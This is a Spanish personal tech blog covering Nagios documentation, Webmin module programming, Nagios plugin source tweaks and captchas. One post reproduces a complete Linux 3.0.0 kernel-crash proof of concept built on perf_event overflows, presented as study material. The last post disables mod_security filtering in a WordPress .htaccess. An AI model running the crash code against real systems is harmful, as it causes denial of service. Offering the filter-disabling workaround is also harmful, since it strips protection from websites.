Nagios – Infografía

Siguiendo con la actualización de la Wik y las mejoras de documentación, estuve armando unas infografías simples, aca subo una de ellas.

infografia_nagiosAdemás estuve modificando el aspecto visual de la Wiki y deje el tema por default de dokuwiki.

Personalmente me parece que para entradas largas, no es muy claro a la hora de definir títulos diferentes, por eso recomiendo exportar a ODT para poder leer mejor

http://wiki.cayu.com.ar/doku.php?id=manuales:nagios

Linux 3.0.0 crash oflo_sw_cpu_clock_crash

Mirando sitios como http://1337day.com/ y http://www.gossamer-threads.com/ encontre uno de tantos bugs para el kernel 3.0, pero aca hay un ejemplo de explotación de uno, esta bueno para aprender un poco mas de funcionamiento del Kernel. Ademas en gossamer-threads pueden encontrar varios mensajes de listas de correo muy interesantes

Básicamente tenemos un crash en el SO, lo que esta bueno es que al ser un código pequeño se puede analizar fácilmente

/* Error with overflows and perf::perf_count_sw_cpu_clock                    */
/* This test will crash Linux 3.0.0                                          */
/* compile with gcc -O2 -o oflo_sw_cpu_clock_crash oflo_sw_cpu_clock_crash.c */

/* by Vince Weaver <vweaver1 _at_ eecs.utk.edu>                              */

#define _GNU_SOURCE 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <fcntl.h>

#include <linux/perf_event.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <asm/unistd.h>
#include <sys/ioctl.h>

#include <sys/mman.h>

#include <signal.h>

#include <sys/prctl.h>

#define MATRIX_SIZE 512
static double a[MATRIX_SIZE][MATRIX_SIZE];
static double b[MATRIX_SIZE][MATRIX_SIZE];
static double c[MATRIX_SIZE][MATRIX_SIZE];

static void naive_matrix_multiply(int quiet) {

  double s;
  int i,j,k;

  for(i=0;i<MATRIX_SIZE;i++) {
    for(j=0;j<MATRIX_SIZE;j++) {
      a[i][j]=(double)i*(double)j;
      b[i][j]=(double)i/(double)(j+5);
    }
  }

  for(j=0;j<MATRIX_SIZE;j++) {
     for(i=0;i<MATRIX_SIZE;i++) {
        s=0;
        for(k=0;k<MATRIX_SIZE;k++) {
	   s+=a[i][k]*b[k][j];
	}
        c[i][j] = s;
     }
  }

  s=0.0;
  for(i=0;i<MATRIX_SIZE;i++) {
    for(j=0;j<MATRIX_SIZE;j++) {
      s+=c[i][j];
    }
  }

  if (!quiet) printf("Matrix multiply sum: s=%lf\n",s);

  return;
}

static int total=0;

void our_handler(int signum,siginfo_t *oh, void *blah) {

  int fd=oh->si_fd;

  ioctl(fd , PERF_EVENT_IOC_DISABLE,0);
  total++;
  ioctl(fd , PERF_EVENT_IOC_REFRESH,1);
}

int perf_event_open(struct perf_event_attr *hw_event_uptr,
		    pid_t pid, int cpu, int group_fd, unsigned long flags) {

  return syscall(__NR_perf_event_open,hw_event_uptr,pid,cpu,group_fd,flags);

}

int main( int argc, char **argv ) {

	int fd;
	void *blargh;

	struct perf_event_attr pe;

	struct sigaction sa;

	memset(&sa, 0, sizeof(struct sigaction));
	sa.sa_sigaction=our_handler;
	sa.sa_flags=SA_SIGINFO;

	if (sigaction(SIGIO,&sa,NULL)<0) {
	  fprintf(stderr,"Error setting up signal handler\n");
	  exit(1);
	}

        memset(&pe,0,sizeof(struct perf_event_attr));	
	pe.type=PERF_TYPE_SOFTWARE;
	pe.size=sizeof(struct perf_event_attr);
        pe.config=PERF_COUNT_SW_CPU_CLOCK;
	pe.sample_period=100000;
	pe.sample_type=PERF_SAMPLE_IP;
	pe.read_format=PERF_FORMAT_GROUP|PERF_FORMAT_ID;
	pe.disabled=1;
	pe.pinned=1;
	pe.exclude_kernel=1;
	pe.exclude_hv=1;
	pe.wakeup_events=1;

	fd=perf_event_open(&pe,0,-1,-1,0);
	if (fd<0) {
	   printf("Error opening\n");
	}

	blargh=mmap(NULL,(1+2)*4096,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0);
	fcntl(fd,F_SETFL,O_RDWR|O_NONBLOCK|O_ASYNC);
	fcntl(fd,F_SETSIG,SIGIO);
	fcntl(fd,F_SETOWN,getpid());

	ioctl(fd,PERF_EVENT_IOC_RESET,0);
	ioctl(fd,PERF_EVENT_IOC_ENABLE,0);

	naive_matrix_multiply(0);

	ioctl(fd,PERF_EVENT_IOC_DISABLE,0);
	munmap(blargh,(1+2)*4096);
	close(fd);

	printf("Total overflows: %d\n",total);

	return 0;
}

Referencias :
http://1337day.com/exploits/16813
http://www.gossamer-threads.com/lists/engine?do=post_attachment;postatt_id=43808;list=linux
http://www.securityhome.eu/exploits/

Capchas entretenidos

Viendo peculiares capchas tengo que comentar dos de ellos

uno el resistor capcha que tenes que indicar la capacidad de la resistencia en ohms http://wordpress.org/extend/plugins/resisty/

 

y tambien tenemos otro muy peculiar de escribir los dos animales http://gonzo.teoriza.com/animal-captcha

para hacer un poco mas realmente humano los capchas y algo entendible 🙂

Monitoria y análisis de Red con Nagios 2010

Las redes de cómputo de las organizaciones, se vuelven cada vez más complejas y la exigencia de la operación es cada vez mas demandante. Las redes, cada vez mas, soportan aplicaciones y servicios estratégicos de las organizaciones. Por lo cual el análisis y monitoreo de redes se ha convertido en una labor cada vez mas importante y de carácter pro-activo para evitar problemas.

Para prevenir errores en un sistema existe podemos utilizar un equipo que se ocupe de estar “controlado y observando” el funcionamiento de la red, esto podemos realizarlo por medio de un software llamado Nagios.

Nagios es un sistema de monitorización de equipos y de servicios de red, escrito en C y publicado bajo la GNU General Public License, el lenguage con el cual esta desarrollado nos asegura una rápida ejecución y su licencia que lo determina como Software Libre nos asegura que siempre tendremos actualizaciones disponibles y que hay una gran comunidad de desarrolladores soportándolo.

Creado para ayudar a los administradores a tener siempre el control de qué está pasando en la red que administran y conocer los problemas que ocurren en la infraestructura que administran antes de que los usuarios de la misma los perciban, para así no sólo poder tomar la iniciativa, sino asumir la responsabilidad de hacer que las cosas sucedan; decidir en cada momento lo que queremos hacer y cómo lo vamos a hacer, debido a que este software nos permite obtener datos, interpretarlos y tomar decisiones en base a ello como:

  • Conservar y almacene datos de la red para manejar reportes y tendencias
  • Ver y analizar la red, así como el tráfico de la red a través del tiempo
  • Monitorear el estado de la red en comparación a los reportes de análisis
  • Generar reportes sustentados para justificar las necesidades de actualización de la red

Para facilitar tareas de explotación de datos, hay diferentes aditivos como un visor de reportes integrados, en el cual se puede ver el histórico de actividad y performance de servicios, y además un visor de diagramas de red con el estado actual de cada equipo.

El mismo, esta constituido por un Núcleo que construye la interfaz de usuario y por plugins los cuales representan los ojos y oídos de Nagios y por lo cual se encargan de recopilar información (bajo demanda). Los mismos pueden estar programados en diversos lenguajes como C, C++, Python, Perl, PHP, Java, Bash etc, ya que Nagios es independiente del lenguaje en el cual que se desarrolle el plugin y solo procesa los datos recibidos de este, para la posterior elaboración y envío de notificaciones a los encargados de la administración del sistema en cuestión.

Objetivos y necesidades

Conocer el estado de diferentes servicios brindados por equipos como servidores corriendo diferentes sistemas operativos, routers de los cuales dependen varios equipos. Obtener información de los mismos como estado en red, tiempo arriba, puertos abiertos, servicios y procesos corriendo, carga de CPU, carga de memoria física, carga de memoria virtual, espacio en disco, interfaces de red activas. Es posible conocer los estados y datos de estos diferentes equipos para una posterior elaboración de reportes etc, elaborando una configuración personalizada de Nagios para cada caso en particular, por medio de testeo de paquetes de red, o haciendo uso de diferentes funciones que provee el protocolo SNMP (Simple Network Management Protocol) que nos permite gestionar y/o supervisar datos de diferentes elementos y componentes de la red como routers, switches, servidores etc y al ser un protocolo standard es posible monitorizar una amplia variedad de casos en escenarios con sistemas ó equipos diferentes.

Con lo cual podremos concluir si el sistema :

  • Lleva a cabo eficazmente su finalidad
  • Utiliza eficientemente los recursos.

Ya que podemos :

  • Detectar de forma sistemática el uso de los recursos y los flujos de información dentro de una organización.
  • Determinar qué información es crítica para el cumplimiento de su misión y objetivos, identificando necesidades, duplicidades, costos, valor y barreras, que obstaculizan flujos de información eficientes.
  • Análizar de eficiencia del sistema.
  • Verificar el cumplimiento de Normativas.
  • Revisión de la gestión de recursos.

Descripción

Que se puede hacer con Nagios

  • Monitorización de servicios de red (SMTP, POP3, HTTP, NTTP, ICMP, SNMP).
  • Monitorización de los recursos de un host (carga del procesador, uso de los discos, logs del sistema) en varios sistemas operativos, incluso Microsoft Windows con el plugin NRPE_NT.
  • Monitorización remoto, a través de túneles SSL cifrados o SSH.
  • Diseño simple de plugins, que permiten a los usuarios desarrollar sus propios chequeos de servicios dependiendo de sus necesidades, usando sus herramientas preferidas (Bash, C++, Perl, Ruby, Python, PHP, C#, Java, etc.).
  • Chequeo de servicios paralizados.
  • Posibilidad de definir la jerarquía de la red, permitiendo distinguir entre host caídos y host inaccesibles.
  • Notificaciones a los contactos cuando ocurren problemas en servicios o hosts, así como cuando son resueltos ( Vía email, pager, Jabber, SMS o cualquier método definido por el usuario junto con su correspondiente complemento).
  • Posibilidad de definir manejadores de eventos que ejecuten al ocurrir un evento de un servicio o host para resoluciones de problemas proactivas.
  • Rotación automática del archivo de registro.
  • Soporte para implementar hosts de monitores redundantes.
  • Interfaz web opcional, para observar el estado de la red actual, notificaciones, historial de problemas, archivos de registros, etc.
  • Reportes y estadísticas del estado cronológico de disponibilidad de servicios y hosts.

Quien va a usar Nagios

  • Administradores de Redes con alto conocimiento tecnico
  • Operadores con minimo conocimiento tecnico de la situacion, o conocimiento puntual de algun servicio
    • Pudiedo avisar y ayudar a determinar posibles causas de efectos producidos
  • Equipos de desarrollo
  • Coordinadores de Mesas de Ayuda
  • Areas relacionadas

Como impacta

  • Mejora de productividad
  • Antelacion de problemas
  • Reporte y aviso de incidentes
    • Agilidad en su tratamiento
  • Mejor y mayor relacion e integracion de sectores adjuntos

Recién  después de tanto tiempo publico una nueva revisión del PDF del Manual de Nagios disponible en el Wiki

https://cayu.com.ar/wiki/doku.php?id=manuales:nagios

aca va el PDF

https://cayu.com.ar/files/manuales-nagios.pdf

igualmente desde el wiki pueden utilizar al exportación automática a ODT OpenDocumenT de OpenOffice

Build It Fast PHP Framework

Asi se presentaba BIF

Build it Fast (BIF) is a PHP Framework. It contains several classes that help you develop complex Web applications in a short amount of time. It brings the concept of the ‘widget’ to Web development. It features Cascade Skins and transparent session management.

Build it Fast (BIF) es un marco de trabajo (framework) escrito en PHP. Contiene varias clases que te ayudan a desarrollar aplicaciones web complejas en un período de tiempo corto. Utiliza el concepto de ‘widget’ en el desarrollo web. Hace uso de Pieles y manejo de sesiones.

Ahora en version renovada con soporte de PHP5 y algunas clases agregadas lo podemos ver en :

http://code.google.com/p/builditfast/

Proximamente nueva web

Programacion de modulos de Webmin en 10 minutos

El otro dia se me ocurrio programar modulos para el Webmin, el webmin para los que no lo conocen, por asi decirlo a groso modo, es un panel web de administracion de servidores UNIX. Hace poco estuve leyendo un tutorial basante basico pero muy bueno en www.geocities.com/j4nusx/index.html . Hay estan los lineamientos basicos para la implementacion de un modulo webmin. Ademas estuve leyendo la documentacion de la API de webmin, para programar modulos, y me di cuenta que los permisos del servidor son por directorio, o sea el grupo o usuario que quiere permiso a un modulo lo toma por el directorio de lo modulo, ademas al ser todo CGI se pueden programar modulos en cualquier lenguaje, ya sea Perl (por default es perl ademas webmin esta hecho en perl y por lo general todos los modulos de webmin estan hechos en perl), o si no tambien en PHP, Python etc, ademas hay ports de las librerias de webmin a estos lenguajes.

Para empezar debemos tener instalado webmin en nuestro sistma, ya sea de un tar.gz un paquete .deb o un rpm, las instalacion varian, ejemplo en debian esta en /usr/share/webmin o redhat en /usr/libexec/webmin, y dentro de estos path esta contenido el webmin con sus modulos etc.

El webmin tiene un propio servidor https escrito en perl, miniserv.pl, el mismo crea un socket https en el puerto 10000 de dicho host.

Primero debemos crear el directorio para nuestro modulo ej:

/usr/libexec/webmin # mkdir miprimermodulo

Luego hay una serie de archivos y directorios principales que hacen a la estructura de nuestro modulo

como el archivo config, config.info module.info etc, y el directorio images, que contiene el icon.gif que es el icono que representa a nuestro modulo en la administracion de webmin Otro directorio con el que nos podemos topar es el directorio lang, que contiene los mensajes o cadenas traducibles y a mostrar que se guardaran en la variable tipo array $text, ejemplo podemos tener el archivo lang/es de la siguiente manera con las variables traducibles

index_title=Comandos Remotos
index_return=Regresar a la pagina principal del modulo
crear_host=Crear nuevo host
crear_host_tb=Nombre del host
crear_host_ip=Direccion IP del host

Otro archivo importante es el defaultacl

#~cat defaultacl
user=root

Que tiene los accesos por default para el modulo, cabe destacar que los permisos en webmin pueden ser por grupo o por usuario ( mirar los archivos webmin.acl webmin.groups dentro de /etc/webmin )

Hay unos archivos principales de funciones en webmin, ellos son web-lib.pl y ui-lib.pl, el primero tiene funciones basicas y minimas para el funcionamiento del modulo de webmin, y el segundo tiene funciones que hacen a la estetica y el funcionamiento del mismo.

Funciones basicas a conocer header($text{‘index_title’}); &footer(«», $text{‘index_return’}); ui_print_header(); &ui_print_footer (); y la variable text es el array con las cadenas de texto que se mostraran en las funciones. Para acceder a variables de configuracion dentro del archivo config lo hacemos por medio de la matriz $config{‘mivariable_deconfiguracion’} etc

Si queremos programar un modulo en php, en debian tenemos que utilizar el php-cgi y en redhat como no esta, solo esta el php comun en miniserv.pl en la linea 1947 hay que hacer una modificacion y agregar:

$ENV{«REDIRECT_STATUS»} = 200;

Una vez que queremos probar como funciona nuestro modulo, o por lo menos sin funciona o no :p

Eliminamos el archivo /etc/webmin/module.infos.cache , que es una cache en la que el webmin guarda los datos de los modulos, entonces al reconstruir esa cache reescanea todos los modulos y reconstruye su lista interna, haciendolo visible en la lista principal.

Es recomendable tener un buen conocimiento de Perl o de programacion en general para encarar esta tarea, asi que el que no esta muy ducho con Perl, que lea un rato 😉 , lo que mas en claro tienen que tener es el manejo de variables globales en perl (todas son globales :p ) , el manejo de arrays hashes etc %variable @variable , funciones como push etc, manejo de archivos OPEN, ciclos como while etc. Cosas basicas pero que hay que conocerlas bien.

Ah al ser cgi, todos los archivos que queramos ejecutar deben tener la extencion CGI, aunque no es necesario que tengan permisos 755 con 644 funciona igual :), y todos deben tener #!/usr/bin/perl o #!/usr/bin/python o #!/usr/bin/php4-cgi dependiendo del lenguaje, para que sepa como ejecutarlos a los archivos.

Hoy la verdad mucho «no me esmere» en escribir por que ando con muy poco tiempo y se que si no posteaba ahora iba a pasar bastante tiempo hasta que lo haga, asi que sepan entender el mal formateo y la escritura rapida, ah y por ahi hay letras que no van para que no tengo mi teclado, estoy en otra maquina, y quiero escribir lo mas rapido posible y no es lo mismo sin el teclado de casita.

El 12 de octubre, como tenia que trabajar deje bajando todo el streaming del dia de canal 7, con tres programas alusivos a esa fecha, con participante de comunidades Mapuches, Toba, Tehuelches, Aymaras entre otros, y videos debates etc. Espero poder editar los 600MB de WMA, ya que tengo que convertilo a un formato editable por Kino, Avidemux etc, o algun editor libre que ande bajo GNU/Linux, alquien que haya tenido un caso de exito editando este tipo de video que me avise que una vez que pueda recortar los programas etc lo subo a youtube y lo pongo aca en el Blog.

Sin mas saludos a todos, ahhh y el lunes tengo el examen de Barmanager en el Club del Barman, tengo que estudiar lejislacion, sobre el codigo alimentario y unas cuantas cosas mas :s no se si llego con todo!!! jaja pero bue hay que leer, anoche no me fue muy bien en la prueba de los tiempos preparando tragos, pero despues repunte un poco :p

Plugins de Nagios

Mejorando un ordenando un poco mejor el post anterior sobre nagios :s

Para que funcionen correctamente algunas cosas de Nagios, hay que realizar algunas minimas modificaciones por ejemplo en :
En el plugin «Nagios SAP CCMS» hay que modificar algunas lineas de los archivos agnt_mon.h y sap_moni_ccm.h ya que en estos se establece el path de acceso a los archivos de configuración que por defecto los busca en /etc/sapmon, pero nuestro objetivo es que los busque en /usr/local/nagios/etc/sapmon, de una cierta manera quede mas centralizao u ordenado.

agnt_mon.h

#define AGENT_INI_FILE «/usr/local/nagios/etc/sapmon/agent.cfg»
#define AGENT_LOGIN_FILE «/usr/local/nagios/etc/sapmon/login.cfg»
#define AG_EZ_FILE «/usr/local/nagios/etc/sapmon/moni_tr.cfg»

sap_moni_ccm.h

#define AGENT_INI_FILE «/usr/local/nagios/etc/sapmon/agent.cfg»
#define AGENT_LOGIN_FILE «/usr/local/nagios/etc/sapmon/login.cfg»

También se deben hacer cambios importantes en el archivos {nagios-src}/cgi/statuswrl.c para modificar no solo la estética de su look & feel si no además la correcta generación del formato VRML a utilizar en el mapa de estado 3D.

statuswrl.c

En la linea

printf(«url \»%s%s\»\n»,url_logo_images_path,temp_hostextinfo->vrml_image);

modificar dicho contenido a

printf(«url \»http://ip.servidor.nagios/%s%s\»\n»,url_logo_images_path,temp_hostextinfo->vrml_image);

y en la linea

printf(«url \»%s%s\»\n»,url_logo_images_path,NAGIOS_VRML_IMAGE);

modificar dicho contenido a

printf(«url \»http://ip.servidor.nagios%s%s\»\n»,url_logo_images_path,NAGIOS_VRML_IMAGE);

donde ip.servidor.nagios es la ip de la url del nuestro servidor nagios.

si no hacemos esto el VRML no se genera correctamente y no se veran los iconos, por lo tanto el plugin imprimira warnings por pantalla

otra cosa para que muestre la ip de cada equipo en el statusmap 3D junto al alias
modificar
de

printf(«the_text [\»%s\», \»%s\», «,temp_host->name,temp_host->alias);

a

printf(«the_text [\»%s\»,\»%s\», \»%s\», «,temp_host->name,temp_host->address,temp_host->alias);

Plugins de Nagios para SAP http://nagios-sap-ccms.sf.net

Nota interezante para monitorear wordpress con Nagios http://www.linickx.com/blog/archives/271/how-to-monitor-wordpress-with-nagios/

Otra cosa si a alguno le da un:

You don’t have permission to access /wp-admin/post.php on this server

encontre esta solucion no muy decorosa que digamos pero que funciona :p

en tu wp-admin/.htaccess pone lo siguiente

Options +Includes
AddType text/html shtml
AddHandler server-parsed shtml
SecFilterEngine Off
SecFilterScanPOST Off